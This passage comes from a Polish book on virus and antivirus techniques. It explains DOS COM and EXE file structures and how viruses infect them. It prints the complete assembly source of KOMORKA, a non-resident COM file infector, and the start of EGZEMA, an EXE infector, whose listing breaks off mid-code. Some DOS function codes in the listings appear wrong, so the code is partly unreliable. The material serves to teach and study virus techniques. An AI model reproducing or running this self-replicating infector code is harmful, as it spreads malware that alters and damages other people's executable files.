Wygląd programu COM po załadowaniu do pamięci: 
Adres (względem segmentu), do którego 
został załadowany plik COM 

Zawartość pamięci 
 

CS:0000-CS:0100 

Blok wstępny PSP (patrz następna tabela)   

CS:0000-CS:???? 

Kod programu załadowany z pliku 

 
Format bloku wstępnego programu PSP 
Adres w pamięci 

Zawartość 

background image

00-01 

Kod rozkazu int 21 h (CD 21) 

02-03 

Adres segmentu pamięci niedostępnej dla programu 

04 

Nie używane przez DOS, używane wewnętrznie przez OS/2 

05-09 

Dalekie odwołanie do systemu DOS (rozkaz wywołania dalekiej 
procedury) 

06-07 

Rozmiar dostępnej pamięci w segmencie 

0A-0D 

Zapamiętywany adres zakończenia programu (int 22h) 

0E-11 

Adres programu obsługi CTRL-BREAK (int 23h) 

12-15 

Adres programu obsługi błędów krytycznych (int 24h) 

16-17 

Adres do segmentu pamięci, gdzie znajduje się blok PSP 
programu rodzicielskiego (interpretator poleceń modyfikuje to 
pole i wstawia tam adres swojego PSP) 

18-2B 

Tablica plików obsługiwanych przez proces JFT (ang. Job File 
Table); każdy element tablicy zawiera indeks wskazujący na 
element SFT (ang. System File Table) opisujący wszystkie 
otwarte w systemie pliki lub też wartość FF, jeżeli element nie 
jest używany 

2C-2D 

Adres segmentu pamięci, w którym znajduje się otoczenie 
programu, zawierające definicje zmiennych środowiskowych 
systemu DOS, takich jak PATH, PROMPT Ud. Każdy element 
otoczenia oddzielany jest znakiem NUL (kod 00); funkcja 4B 
rozszerza otoczenie programu poprzez dodanie jednego słowa 
określającego ilość dodatkowych łańcuchów ASCIIZ (zwykle 
0001), a następnie umieszcza dalej nazwę uruchamianego 
programu. Umożliwia to procesowi dotarcie do pliku na dysku 
zawierającego kod uruchomionego programu - jest to parametr 
paramstr(0) w Pascalu i argv[0] w C. 

2E-31 

Zapamiętane wartości SS:SP (używane podczas wywoływania 
funkcji DOS) aktualnego procesu; DOS zapamiętuje je przed 
przełączeniem się na własny stos 

32-33 

Liczba elementów tablicy JFT (standardowo =20) 

34-37 

Daleki wskaźnik do tablicy plików JFT (standardowo CS:18) 
umożliwia rozszerzenie ilości plików wykorzystywanych przez 
proces 

38-3B 

Daleki wskaźnik do poprzedniego bloku wstępnego PSP 

3C-4F 

Pola wykorzystywane wewnętrznie przez różne systemy 
operacyjne 

50-52 

Kod rozkazów: INT 21 h RETF 

53-54 

Nie używane 

55-5B 

Nie używane, można użyć, aby zmienić standardowy blok FCB 
na rozszerzony blok FCB 

5C-6B 

Standardowy blok opisu pliku FCB1 

6C-7B 

Standardowy blok opisu pliku FCB2 

7C-7F 

Nie używane 

80-FF 

Bufor transmisji dyskowych DTA. Bezpośrednio po 
uruchomieniu programu zawiera jego wiersz wejściowy, 
zawierający parametry podane z linii poleceń, zakończony 

background image

znakiem CR (0D). Bajt pod adresem 80 określa długość wiersza 
wejściowego nie uwzględniając znaku CR. 

 
Przekazując sterowanie do programu COM system DOS inicjuje kilka rejestrów 
ustalonymi wartościami. Rejestry segmentowe CS, DS, SS, ES wskazują na adres bloku 
PSP programu, IP=100h, SP wskazuje na koniec pamięci dostępnej w segmencie 
(zwykle FFFE), na 

stosie umieszczana jest wartość 0000. 

Sposób infekcji plików COM jest bardzo prosty. Na końcu zarażanego pliku należy 
dopisać kod wirusa, a na początku pliku, po uprzednim zapamiętaniu oryginalnych 
bajtów, umieścić rozkaz przenoszący sterowanie do wirusa (najczęściej jest to 3-bajtowy 
rozkaz JMP NEAR, posiadający kod maszynowy OE9h 00 00, gdzie 00 00 jest wartością 
dodawaną do wskaźnika instrukcji IP po wykonaniu rozkazu). Po uruchomieniu 
sterowanie zostaje przekazane najpierw do wirusa, a ten z kolei, po wykonaniu 
odpowiednich czynności, przywraca początkowe bajty programu i wykonuje skok pod 
adres CS:0100h. 
Nie jest to jedyna metoda zarażania plików COM. Niektóre wirusy przesuwają w pliku 
kod oryginalnego programu, a w tak powstałe miejsce wpisują swój kod. Ze względu na 
większą ilość operacji, jakie muszą wykonać, aby zainfekować plik, są dość łatwo 
wykrywane, gdyż znacząco opóźniają wykonanie oryginalnych programów. 
Jeszcze inna metoda polega na umieszczeniu kodu wirusa w dowolnym miejscu 
infekowanego pli

ku, jednak ze względu na trudności implementacyjne jest ona rzadko 

stosowana. 
Infekując pliki COM należy pamiętać, iż programy tego typu mogą mieć długość nie 
większą niż 64kB-100h-2 bajty. Odejmowana wartość 100h jest długością bloku PSP, 
tworzonego na po

czątku segmentu, do którego ładowany jest program., a wartość 2 

wynika z faktu umieszczenia przed startem programu wartości 0000h na stosie. Po 
wczytaniu programu przez DOS wskaźnik stosu (SP) programu ustawiany jest na końcu 
segmentu, do którego został on załadowany, stąd też za maksymalną długość, której nie 
może przekroczyć plik, należy przyjąć wartość mniejszą od 65278, np. 65000 bajtów lub 
nawet mniej. Nieuwzględnienie powyższego faktu spowoduje, iż po załadowaniu zbyt 
długiego pliku COM niszczona będzie część programu znajdująca się przy końcu 
segmentu (przez wartości zapisywane na stosie). 
W tablicach poniżej przedstawiono wygląd programu COM przed i po zarażeniu 
wirusem. 
Struktura niezainfekowanego pliku COM 
Zawartość pliku 
Kod programu w tzw. postaci absolutnej 
 
Struktura zainfekowanego pliku COM - 

wirus dopisuje się na końcu pliku 

Zawartość pliku 
Rozkaz skoku do wirusa (najczęściej jest to rozkaz o kodzie OE9h 00 00, czyli JMP 
NEAR)   
Kod zainfekowanego programu   
Kod wirusa wraz z zapamiętanymi bajtami początkowymi 
 
Struktura zainfekowanego pliku COM -wirus przesuwa kod oryginalnego 
programu 

background image

Zawartość pliku 
Kod wirusa 
Przesunięty kod zainfekowanego programu 
Poniżej przedstawiono przykład prostego, nierezydentncgo wirusa infekującego pliki 
COM. 
 
 
;----------------------------------------------------------------------------; 
;                                                                            ; 
;       Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"        ; 
;                                                                            ; 
;                  KOMORKA v1.0, Autor : Adam Blaszczyk 1997                 ; 
;                                                                            ; 
;              Prosty wirus nierezydentny plikow COM                         ; 
;              Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden  ; 
;              znajdujace sie w biezacym katalogu                            ; 
;                                                                            ; 
; Kompilacja :                                                               ; 
;             TASM     KOMORKA.ASM                                           ; 
;             TLINK /t KOMORKA.OBJ                                           ; 
;                                                                            ; 
;----------------------------------------------------------------------------; 
KOMORKA SEGMENT 
JUMPS 
         ASSUME CS:KOMORKA, DS:KOMORKA 
 
         ORG 100h 
 
    NUL          = 00h                     ; \ 
    LF           = 0Ah                     ;  \ stale znakow 
    CR           = 0Dh                     ;  / ASCII 
    DOLAR        = '$'                     ; / 
 
    AtrReadOnly  = 00000001b               ; \ 
    AtrHidden    = 00000010b               ;  \ 
    AtrSystem    = 00000100b               ;   \ rozne stale atrybutow 
    AtrVolumeID  = 00001000b               ;   / pozycji katalogu 
    AtrDirectory = 00010000b               ;  / 
    AtrArchive   = 00100000b               ; / 
 
Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrVolumeID 
                                           ; atrybut poszukiwanej pozycji 

background image

                                           ; katalogu 
 
VirusDlug     = offset (VirusEnd-VirusStart) 
                                           ; dlugosc kodu wirusa 
 
VRok          = 1998                       ; \  data opisujaca 
VMiesiac      = 13                         ;  - pliki juz zainfekowane 
VDzien        = 31                         ; / 
 
VZnacznik     = (VRok-1980)*512+VMiesiac*32+VDzien 
 
DTAStruc struc                             ; struktura DTA bufora transmisji 
                                           ; dyskowych uzywanych przez 
                                           ; funkcje 4E i 4F 
               DTAFill db 21 dup (?)       ; nieistotna czesc 
               DTAAttr db ?                ; atrybut znalezionej pozycji 
               DTATime dw ?                ; czas znalezionej pozycji 
               DTADate dw ?                ; data znalezionej pozycji 
               DTASize dd ?                ; dlugosc znalezionej pozycji 
               DTAName db 13 dup (?)       ; nazwa znalezionej pozycji 
DTAStruc ends 
 
Start:                                     ; tu zaczyna sie program ofiary 
 
 
    db    0E9h,00h,00h                     ; symuluj rozkaz JMP NEAR 
                                           ; bedacy czescia zarazonego 
                                           ; programu 
 
VirusStart:                                ; tu zaczyna sie kod wirusa 
 
    mov   si,word ptr ds:[101h]            ; pobierz relatywny ofset do miejsca 
                                           ; w pamieci, gdzie znajduje sie wirus 
                                           ; wartosc ta to czesc rozkazu JMP NEAR 
                                           ; na poczatku, przy pierwszym 
wywolaniu 
                                           ; =0000h 
 
 
    mov   al,byte ptr ds:[si+StareBajty]   ; \  Przywroc zapamietane 3 bajty 
    mov   ds:[100h],al                     ;  \ na poczatek programu CS:100h 

background image

    mov   ax,word ptr ds:[si+StareBajty+1] ;  / Podczas pierwszego uruchomienia 
    mov   ds:[101h],ax                     ; /  jest to kod Int 20h 
 
    lea   dx,[si][TeInformacja]            ; podaj gdzie jest tekst 
    Call  Informacja                       ; spytaj o uruchomienie wirusa 
 
    jnc   Infekcja                         ; CF=1 oznacza nie uruchamiaj 
    jmp   BezInfekcji                      ; NIE - nie infekuj 
 
Infekcja: 
    lea   dx,[si][NoweDTA]                 ; miejsca gdzie bedzie nowe DTA 
    mov   ah,1Ah                           ; funkcja DOS - ustaw nowe DTA 
    int   21h                              ; wywolaj funkcje DOS 
 
    lea   dx,[si][MaskaCOM]                ; maska poszukiwanych plikow '*.COM' 
    mov   cx,Atrybut                       ; podaj atrybut poszukiwanej pozycii 
    mov   ah,4Bh                           ; funkcja DOS - szukaj pierwszej 
                                           ; pozycji katalogu 
    int   21h                              ; wywolaj funkcje DOS 
    jc    NieMaPlikuCOM                    ; gdy CF=1, to blad 
 
 
KolejnyPlik: 
    cmp   [si][NoweDTA.DTADate],VZnacznik  ; czy znaleziony plik jest juz 
                                           ; zarazony ? 
    je    SzukajNastepnyPlik               ; tak = szukaj nastepnego 
 
    mov   ax,word ptr [si][NoweDTA.DTASize+2] 
                                           ; pobierz starsza czesc dlugosci 
                                           ; pliku 
    or    ax,ax                            ; czy plik krotszy niz 65536 
    jnz   SzukajNastepnyPlik               ; nie - szukaj nastepnego 
 
    mov   ax,word ptr [si][NoweDTA.DTASize]; pobierz dlugosc pliku 
    cmp   ax,64000                         ; czy dlugosc <= 64000 
    ja    SzukajNastepnyPlik               ; nie - szukaj nastepnego 
 
    cmp   ax,3                             ; czy dlugosc >= 3 
    jb    SzukajNastepnyPlik               ; nie - szukaj nastepnego 
 
    sub   ax,3                             ; odejmij dlugosc skoku E9 ?? ?? 

background image

    mov   word ptr [si][Skok+1],ax         ; zapisz do bufora rozkaz skoku 
 
    mov   cx,AtrArchive                    ; podaj nowy atrybut : Archive 
    lea   dx,[si][NoweDTA.DTAName]         ; podaj nazwe pliku do zmiany 
    mov   ax,4301h                         ; funkcja DOS - zmien atrybut 
    int   21h                              ; wywolaj funkcje DOS 
    jc    PrzywrocAtrybut                  ; gdy CF=1 to blad 
 
    lea   dx,[si][NoweDTA.DTAName]         ; podaj nazwe pliku do odczytu 
    mov   ax,3D02h                         ; funkcja DOS - otworz plik 
                                           ; do odczytu i zapisu 
    int   21h                              ; wywolaj funkcje DOS 
    jc    PrzywrocAtrybut                  ; gdy CF=1, to blad 
 
    xchg  ax,bx                            ; przenies uchwyt pliku do BX 
 
    mov   cx,3                             ; ilosc czytanych bajtow 
    lea   dx,[si+StareBajty]               ; podaj dokad czytac 3 bajty 
    mov   ah,3Fh                           ; funkcja DOS - czytaj z pliku 
    int   21h                              ; wywolaj funkcje DOS 
    jc    ZamknijPlik                      ; gdy CF=1, to blad 
 
    mov   ax,word ptr [si+StareBajty]      ; wez dwa pierwsze bajty pliku 
    cmp   ax,'MZ'                          ; i sprawdz czy to nie EXE 
    je    ZamknijPlik                      ; gdy 'MZ', to plik EXE, powrot 
    cmp   ax,'ZM'                          ; 
    je    ZamknijPlik                      ; gdy 'ZM', to plik EXE, powrot 
 
    xor   cx,cx                            ; \ zeruj CX:DX zawierajace 
    xor   dx,dx                            ; / adres wzgledem konca pliku 
    mov   ax,4202h                         ; funkcja DOS - zmien wskaznik 
                                           ; odczytu/zapisu na koniec pliku 
    int   21h                              ; wywolaj funkcje DOS 
    jc    ZamknijPlik                      ; gdy CF=1, to blad 
 
    mov   cx,VirusDlug                     ; ilosc zapisanych bajtow 
    lea   dx,[si+103h]                     ; podaj skad zapisac wirusa 
    mov   ah,30h                           ; funkcja DOS - zapisz do pliku 
    int   21h                              ; wywolaj funkcje DOS 
    jc    ZamknijPlik                      ; gdy CF=1, to blad 
 

background image

    xor   cx,cx                            ; \ zeruj CX:DX zawierajace 
    xor   dx,dx                            ; / adres wzgledem poczatku pliku 
    mov   ax,4200h                         ; funkcja DOS - zmien wskaznik 
                                           ; odczytu/zapisu na poczatek pliku 
    int   21h                              ; wywolaj funkcje DOS 
    jc    ZamknijPlik                      ; gdy CF=1, to blad 
 
    mov   cx,3                             ; ilosc zapisanych bajtow 
    lea   dx,[si][Skok]                    ; podaj skad zapisac rozkaz skoku 
    mov   ah,30h                           ; funkcja DOS - zapisz do pliku 
    int   21h                              ; wywolaj funkcje DOS 
    jc    ZamknijPlik                      ; gdy CF=1, to blad 
 
    mov   cx,[si][NoweDTA.DTATime]         ; przywroc czas z bufora DTA 
    mov   dx,VZnacznik                     ; zaznacz infekcje pliku 
    mov   ax,5701h                         ; funkcja DOS - wpisz date,czas 
    int   21h                              ; wywolaj funkcje DOS 
 
ZamknijPlik: 
    mov   ah,3Eh                           ; funkcja DOS - zamknij plik 
    int   21h                              ; wywolaj funkcje DOS 
 
PrzywrocAtrybut: 
    mov   cl,[si][NoweDTA.DTAAttr]         ; podaj stary atrybut, CH=0 
    lea   dx,[si][NoweDTA.DTAName]         ; podaj nazwe pliku do zmiany 
    mov   ax,4301h                         ; funkcja DOS - zmien atrybut 
    int   21h 
 
SzukajNastepnyPlik:                        ; poprzedni plik byl zarazony 
    mov   ah,4Fh                           ; funkcja DOS - szukaj innego 
                                           ; plik COM 
    int   21h                              ; wywolaj funkcje DOS 
    jnc   KolejnyPlik                      ; gdy CF=1, to blad 
 
 
NieMaPlikuCOM: 
    mov   dx,80h                           ; przywroc pierwotne DTA=PSP:80h 
    mov   ah,1Ah                           ; funkcja DOS - ustaw nowe DTA 
    int   21h                              ; wywolaj funkcje DOS 
 
BezInfekcji: 

background image

    mov   ax,100h                          ; \ skocz na poczatek programu 
    jmp   ax                               ; / do ofiary 
 
MaskaCOM   db '*.COM'                      ; maska plikow COM (ASCIIZ) 
StareBajty db 0CDh,20h,90h                 ; bufor zawiera zapamietane bajty 
                                           ; z poczatku programu 
                                           ; tu : kod rozkazu int 20h/NOP 
 
Skok       db 0E9h,?,?                     ; rozkaz skoku 
 
; Czesc Informayjna 
Informacja: 
    mov   ah,09h                           ; funkcja DOS - wyswietl tekst$ 
    int   21h                              ; wywolaj funkcje DOS 
 
    mov   ah,01h                           ; funkcja DOS - czytaj znak 
                                           ; ze standardowego wejscia 
    int   21h                              ; wywolaj funkcje DOS 
                                           ; AL zawiera znak 
    push  ax                               ; zapamietaj na chwile znak 
 
    mov   ax,0E0Dh                         ; \  przejdz 
    int   10h                              ;  \ do 
    mov   ax,0E0Ah                         ;  / nastepnej 
    int   10h                              ; /  linii 
 
    pop   ax                               ; przywroc znak 
 
    and   al,11011111b                     ; konwertuj znak na wielka litere 
    cmp   al,'T'                           ; czy potwierdzona infekcja 
    clc                                    ; ustaw flage na TAK 
    je    CLCRet                           ; TAK i powrot 
    stc                                    ; ustaw flage na NIE i powrot 
CLCRet: 
    ret                                    ; powrot 
 
TeInformacja db CR,LF,'KOMORKA v1.0, Autor : Adam Blaszczyk 1997' 
             db CR,LF 
             db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?' 
             db DOLAR 
 

background image

VirusEnd: 
NoweDTA   DTAStruc <?,?,?,?,?,?> 
 
KOMORKA ENDS 
END Start 
 

4.1.2. Pliki wykonywalne EXE 

Poprzednio omówione pliki COM przeważały w początkowym okresie istnienia systemu 
DOS, lecz szybko zostały wyparte przez pliki EXE, które oferowały możliwość pisania 
prog

ramów mieszczących się w kilku segmentach. 

Zarażanie plików EXE jest sprawą o wiele trudniejszą od infekcji plików COM ze 
względu na ich bardziej skomplikowaną budowę, a także na konieczność wykrywania 
systemu, dla którego plik jest przeznaczony. Pliki EXE dzielą się bowiem na tzw. stare 
(ang. old executab-les) i nowe (ang. new executables). Pierwsze z nich przeznaczone 
są tylko i wyłącznie dla systemu DOS, natomiast drugie to programy działające w 
środowiskach wykorzystujących tryb chroniony. Jak pokazano dalej, na podstawie 
danych zawartych w pliku EXE można wykryć system, dla którego jest on przeznaczony 
i w rezultacie plik taki zainfekować. 

 
4.1.2.1. Pliki EXE dla systemu DOS (stare EXE) 

Jak już wspomniano, pliki COM mogły zawierać w swym wnętrzu tylko jeden segment, 
wspólny dla kodu, danych i stosu. W przeciwieństwie do nich pliki EXE mogą zawierać 
programy, których rozmiary ograniczone są tylko przez wielkość dostępnej aktualnie 
pamięci operacyjnej, znajdującej się poniżej pierwszych 640kB. Najczęściej w 
programach tych jest kilka segmentów kodu i danych, a także 
osobny segment stosu. Ze względu na bardziej skomplikowaną strukturę, do 
załadowania programów EXE system DOS potrzebuje więcei informacji, niż w 
przypadku plików COM. Informacje zawarte są w istniejącym na początku każdego pliku 
EXE nagłówku, który składa sie z dwóch części: sformatowanej i niesformatowanej. 
Długość sformatowanej części nagłówka jest stała i wynosi 27 bajtów, natomiast długość 
części niesformatowanej oblicza się na podstawie danych zawartych w nagłówku 
sformatowanym. W skrajnym przypadku długość części niesrormatowanej może być 
równa O, co często ma miejsce, gdy programy są wewnętrznie skompresowane i 
zminimalizowane. Opis sformatowanej części nagłówka podano poniżej. 
Sformatowan

y nagłówek pliku EXE 

 

 

00-01 

Znacznik pliku EXE. MZ lub ZM 

02-03 

Liczba bajtów na ostatniej, 512 
bajtowej, stronie programu, W praktyce 
oznacza, ile bajtów system DOS musi 
skopiować z ostatniego sektora 
zajmowanego przez program. 

04-05 

Długość całego pliku EXE, podana w 
512-

bajtowych stronach z uwzględnieniem 

nagłówka i ostatniej strony opisanej w 

background image

polach 02h-

03h. W praktyce oznacza ilość 

sektorów zajmowanych przez program, 

06-07 

Liczba elementów relokowalnych w 
programie, czyli liczba 4-bajtowych 
rekordów, znajdujących siew 
niesformatowanej części nagłówka, 
opisujących miejsca w kodzie programu 
(jako segment: przesunięcie; w każdym 
rekordzie przesunięcie znajduje się przed 
segmentem), gdzie należy dodać segment, 
pod który ładowany jest program 

08-09 

Długość nagłówka w 16-bajtowych 
paragrafach 

0A-0B 

Minimalna wymagana pamięć poza 
załadowanym kodem programu, podana w 
16-bajtowych paragrafach 

0C-0D 

Maksymalna wymagana pamięć poza 
załadowanym kodem programu, podana w 
16-bajtowych paragrafach 

0E-0F 

P

oczątkowa wartość rejestru 

segmentowego stosu (SS) względem 
początku programu. 

10-11 

Początkowa wartość wskaźnika stosu (SP) 

12-13 

Suma kontrolna (zanegowana suma 
wszystkich bajtów w pliku), nie używana 
przez DOS, stąd pole to może posłużyć 
jako wskaźnik zainfekowania pliku 

14-15 

Początkowa wartość licznika rozkazów IP 

16-17 

Początkowa wartość rejestru segmentu 
kodu CS względem początku programu. 

18-19 

Adres pierwszej pozycji tablicy relokacji w 
stosunku do początku pliku. Jeżeli pole jest 
równe 40h lub więcej, jest to 
prawdopodobnie nowy plik EXE 

1A-1B 

Numer nakładki 

 
Informacje zawarte w nagłówku pliku EXE zawierają wymagania programu dotyczące 
pamięci operacyjnej oraz ustalają początkowe wartości rejestrów SS i SP, 
odpowiedzialnych za stos, a ta

kże rejestrów CS i IP, wskazujących na pierwszą 

instrukcję programu. 
Dopiero po nagłówkach pojawia się właściwy kod programu, a za nim, na końcu 
niektórych plików EXE przeznaczonych dla systemu DOS, znajduje się często tzw. 
wewnętrzna nakładka (ang. internal overlay), zawierająca dodatkowe dane lub kod 
programu. Wykorzystując fakt, iż znakomita większość istniejących wirusów nie zaraża 
plików EXE z wewnętrznymi nakładkami, można dość prosto zabezpieczyć wszystkie 
pliki EXE na dysku przed ewentualną infekcją. Wystarczy na końcu każdego z tych 
plików dopisać jeden dowolny bajt, który przez większość wirusów będzie uznawany za 

background image

wewnętrzną nakładkę. 
Dopiero po odczytaniu i zinterpretowaniu danych z nagłówka system może przystąpić do 
ładowania właściwego programu, zawartego w pliku EXE, który umieszczany jest 
bezpośrednio za blokiem PSP. Z powyższego wynika, iż w przeciwieństwie do programu 
COM obraz programu EXE wygląda inaczej w pamięci niż na dysku. 
Po wczytaniu programu do wartości początkowych rejestrów CS i SS (zawartych w 
nagłówku sformatowanym) dodawany jest adres segmentu, pod który został on 
załadowany. Adres tego segmentu służy także do zmodyfikowania pewnych instrukcji w 
programie, które są zależne od jego faktycznego umiejscowienia w pamięci operacyjnej 
(są to np. rozkazy wywołań dalekich procedur i skoków oraz operacje na segmentach 
występujących w programie). Adresy w pamięci, które trzeba w ten sposób 
zmodyfikować, zawarte są w tablicy relokacji. 
Pierwszą czynnością wykonywaną przez wirusa powinno być odczytanie 
sformatowanego nagłówka pliku potencjalnej ofiary i porównanie dwóch pierwszych 
bajtów programu (znacznik z pola 00h-0lh) z sekwencją 'MZ' lub 'ZM'. Jeżeli porównanie 
wypadło pomyślnie, istnieje duża szansa, iż jest to plik typu EXE i można go spróbować 
zainfekować. Drugą czynnością wykonywaną przez wirusa powinno być sprawdzenie, 
czy plik EXE jest programem przeznaczonym dla systemu DOS. Na pozycji 18h-19h w 
nagłówku widnieje wtedy wartość mniejsza od 40h, w przeciwnym wypadku jest to 
prawdopodobnie nowy EXE. Kolejnym krokiem wykonywanym przez wirusa powinno 
być sprawdzenie, czy plik EXE nie zawiera wewnętrznej nakładki. Dokonuje się tego 
poprzez porównanie długości całego pliku EXE (widzianej przez DOS) z długością 
obliczaną na podstawie pól zawartych w nagłówku (pola 02h-03h i U4h-05h). Jeżeli 
wartości te różnią się od siebie, plik zawiera nakładkę. Taki plik także można 
zainfekować, jednak wiąże się to z koniecznością przesunięcia w nim całej nakładki o 
długość wirusa, tak aby ten mógł umieścić swój kod bezpośrednio za obrazem 
ładowanym przez DOS do pamięci. Podczas uruchamiania programu EXE nakładka nie 
jest ładowana do pamięci bezpośrednio z programem, tak więc gdyby wirus znajdował 
się w pliku bezpośrednio za nią, także nie zostałby załadowany i w efekcie program by 
się zawieszał. Zarażone programy z wewnętrzną nakładką często nie będą działały 
poprawnie, zwłaszcza jeśli korzystając z nakładki nie obliczają adresów w pliku na 
bieżąco (tzn. na podstawie pól nagłówka), lecz korzystają z wartości stałych. Powyższe 
problemy sprawiają, iż większość wirusów zaprzestaje infekcji po wykryciu, iż plik EXE 
zawiera nakładkę i dzięki temu można zastosować opisaną wcześniej sztuczkę z 
1-

bajtową pseudonakładką. Infekcja pliku EXE bez wewnętrznej nakładki polega na 

odpowiedniej modyfikacji sformatowanej części nagłówka, tak by początkowe wartości 
rejestrów CS:IP (zawartych w polach 16h-17h i 14h-15h w nagłówku) wskazywały na 
wirusa, który zwykle dopisywany jest na końcu pliku. Najczęściej zmieniane są także 
początkowe wartości SS i SP (pola 10-llh i 0Eh-0Fh w nagłówku), ażeby nie okazało się, 
iż po uruchomieniu stos ustawiony jest na kod wirusa. Warto także zmodyfikować 
parametry minimalnej i maksymalnej pamięci wymaganej przez program, tak aby 
uwzględniały długość kodu wirusa. Prawdziwe wartości zmienianych parametrów trzeba 
wcześniej zapamiętać, żeby wirus po uruchomieniu mógł przekazać sterowanie do 
oryginalnego programu. 
Inny sposób na przejęcie kontroli nad zainfekowanym programem po jego uruchomieniu 
polega na odnalezieniu w pliku zawierającym jego kod (np. przy pomocy łatwo dostępnej 
tablicy relokacji) wywołań dalekich procedur (najczęściej będących funkcjami 

background image

bibliotecznymi) o 5 bajtowym kodzie 9A OO OO SS SS, gdzie SSSS:OOOO oznacza 
adres, pod kt

órym znajduje się wywoływana procedura (SS SS oznacza segment, a OO 

OO - 

przesunięcie). Inicjując program, DOS dodaje do ustalonej, zawartej w pliku 

wartości SS SS adres, pod który został załadowany program. Zmieniając w pliku 
wartość SS SS:OO OO tak, by wskazywał on na wirusa, można ominąć konieczność 
modyfikacji pól 16h-17h i 14h-15h w nagłówku i przy okazji utrudnić odnalezienie wirusa 
w pliku. Tego typu wirus uruchomi się dopiero po próbie wywołania dalekiej procedury, 
co może zdarzyć się w dowolnym momencie programu (a nie od razu na początku). 
Typowy wygląd starego pliku EXE przed i po infekcji przedstawiony został w poniższych 
tabelach. 
 
Struktura niezainfekowanego pliku EXE
                 
Zawartość pliku                         
Sformatowany nagłówek pliku EXE zaczynający się literami 'MZ' lub 'ZM' 
Niesformatowany nagłówek pliku EXE zawierający tablicę relokacji i ewentualnie jakieś 
dane, np. nazwisko autora, nazwę programu 
Właściwy kod programu 
Ewentualna nakładka                                   
 
Struktura zainfekowanego pliku EXE
                       
Zawartość pliku       
Sformatowany nagłówek pliku EXE zaczynający się literami ‘MZ’ lub ‘ZM' z 
wprowadzonymi przez wirusa zmianami 
Niesformatowany nagłówek pliku EXE zawierający tablicę relokacji i ewentualnie jakieś 
dane, np. nazwisko autora, nazw

ę programu 

Właściwy kod programu   
Kod wirusa 
Ewentualna nakładka; występuje bardzo rzadko, gdyż większość wirusów nie zaraża 
plików z wewnętrznymi nakładkami 
 
 
Ponizej przedstawiono przyklad prostego nierezydetnego wirusa infekujacego pliki EXE. 
 
;----------------------------------------------------------------------------; 
;                                                                            ; 
;       Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"        ; 
;                                                                            ; 
;                  EGZEMA v1.0, Autor : Adam Blaszczyk 1997                  ; 
;                                                                            ; 
;              Prosty wirus nierezydentny plikow EXE                         ; 
;              Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden  ; 
;              znajdujace sie w biezacym katalogu                            ; 
;                                                                            ; 
; Kompilacja :                                                               ; 
;             TASM  EGZEMA.ASM                                               ; 

background image

;             TLINK EGZEMA.OBJ                                               ; 
;                                                                            ; 
;----------------------------------------------------------------------------; 
EGZEMA SEGMENT 
JUMPS 
         ASSUME CS:EGZEMA, DS:EGZEMA 
 
    NUL          = 00h                     ; \ 
    LF           = 0Ah                     ;  \ stale znakow 
    CR           = 0Dh                     ;  / ASCII 
    DOLAR        = '$'                     ; / 
 
    AtrReadOnly  = 00000001b               ; \ 
    AtrHidden    = 00000010b               ;  \ 
    AtrSystem    = 00000100b               ;   \ rozne stale atrybutow 
    AtrVolumeID  = 00001000b               ;   / pozycji katalogu 
    AtrDirectory = 00010000b               ;  / 
    AtrArchive   = 00100000b               ; / 
 
Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrDirectory 
                                           ; atrybut poszukiwanej pozycji 
                                           ; katalogu 
 
VirusDlug     = offset (VirusEnd-VirusStart) 
                                           ; dlugosc kodu wirusa 
 
VRok          = 1998                       ; \  data opisujaca 
VMiesiac      = 13                         ;  - pliki juz zainfekowane 
VDzien        = 31                         ; / 
 
VZnacznik     = (VRok-1980)*512+VMiesiac*32+VDzien 
 
DTAStruc struc                             ; struktura DTA bufora transmisji 
                                           ; dyskowych uzywanych przez 
                                           ; funkcje 4E i 4F 
               DTAFill db 21 dup (?)       ; nieistotna czesc 
               DTAAttr db ?                ; atrybut znalezionej pozycji 
               DTATime dw ?                ; czas znalezionej pozycji 
               DTADate dw ?                ; data znalezionej pozycji 
               DTASize dd ?                ; dlugosc znalezionej pozycji 
               DTAName db 13 dup (?)       ; nazwa znalezionej pozycji 

background image

DTAStruc ends 
 
VirusStart:                                ; tu zaczyna sie kod wirusa 
 
    Call  Trik                             ; \ 
Trik:                                      ;  \ 
    pop   si                               ;  / oblicz relatywny ofset 
    sub   si,3                             ; / 
 
    push  cs                               ; \ DS=CS=kod wirusa 
    pop   ds                               ; / 
 
    mov   ax,es                            ; \ es=PSP+10h 
    add   ax,10h                           ; / 
 
    add   [si][StarySS],ax                 ; \ 
    push  [si][StarySS]                    ;  - zachowaj wartosci stosu 
    push  [si][StarySP]                    ; /  dla nosiciela 
 
    add   ax,[si][StaryCS]                 ; \ 
    mov   [si][SkokCS],ax                  ;  \ utworz pelny rozkaz skoku 
    mov   ax,[si][StaryIP]                 ;  / do nosiciela 
    mov   [si][SkokIP],ax                  ; / 
 
 
    lea   dx,[si][TeInformacja]            ; podaj gdzie jest tekst 
    Call  Informacja                       ; spytaj o uruchomienie wirusa 
 
    jnc   Infekcja                         ; CF=1 oznacza nie uruchamiaj 
    jmp   BezInfekcji                      ; NIE - nie infekuj 
 
Infekcja: 
    lea   dx,[si][NoweDTA]                 ; miejsca gdzie bedzie nowe DTA 
    mov   ah,1Ah                           ; funkcja DOS - ustaw nowe DTA 
    int   21h                              ; wywolaj funkcje DOS 
 
    lea   dx,[si][MaskaEXE]                ; maska poszukiwanych plikow '*.EXE' 
    mov   cx,Atrybut                       ; podaj atrybut poszukiwanej pozycii 
    mov   ah,4Eh                           ; funkcja DOS - szukaj pierwszej 
                                           ; pozycji katalogu 
    int   21h                              ; wywolaj funkcje DOS 

background image

    jc    BezInfekcji                      ; gdy CF=1, to blad 
 
 
KolejnyPlik: 
    cmp   [si][NoweDTA.DTADate],VZnacznik  ; czy znaleziony plik jest juz 
                                           ; zarazony ? 
    je    SzukajNastepnyPlik               ; tak = szukaj nastepny 
 
    cmp   word ptr [si][NoweDTA.DTASize],26; czy dlugosc>=26 bajtow ? 
    jb    SzukajNastepnyPlik               ; nie = szukaj nastepny 
 
    mov   cx,AtrArchive                    ; podaj nowy atrybut : Archive 
    lea   dx,[si][NoweDTA.DTAName]         ; podaj nazwe pliku do zmiany 
    mov   ax,4301h                         ; funkcja DOS - zmien atrybut 
    int   21h                              ; wywolaj funkcje DOS 
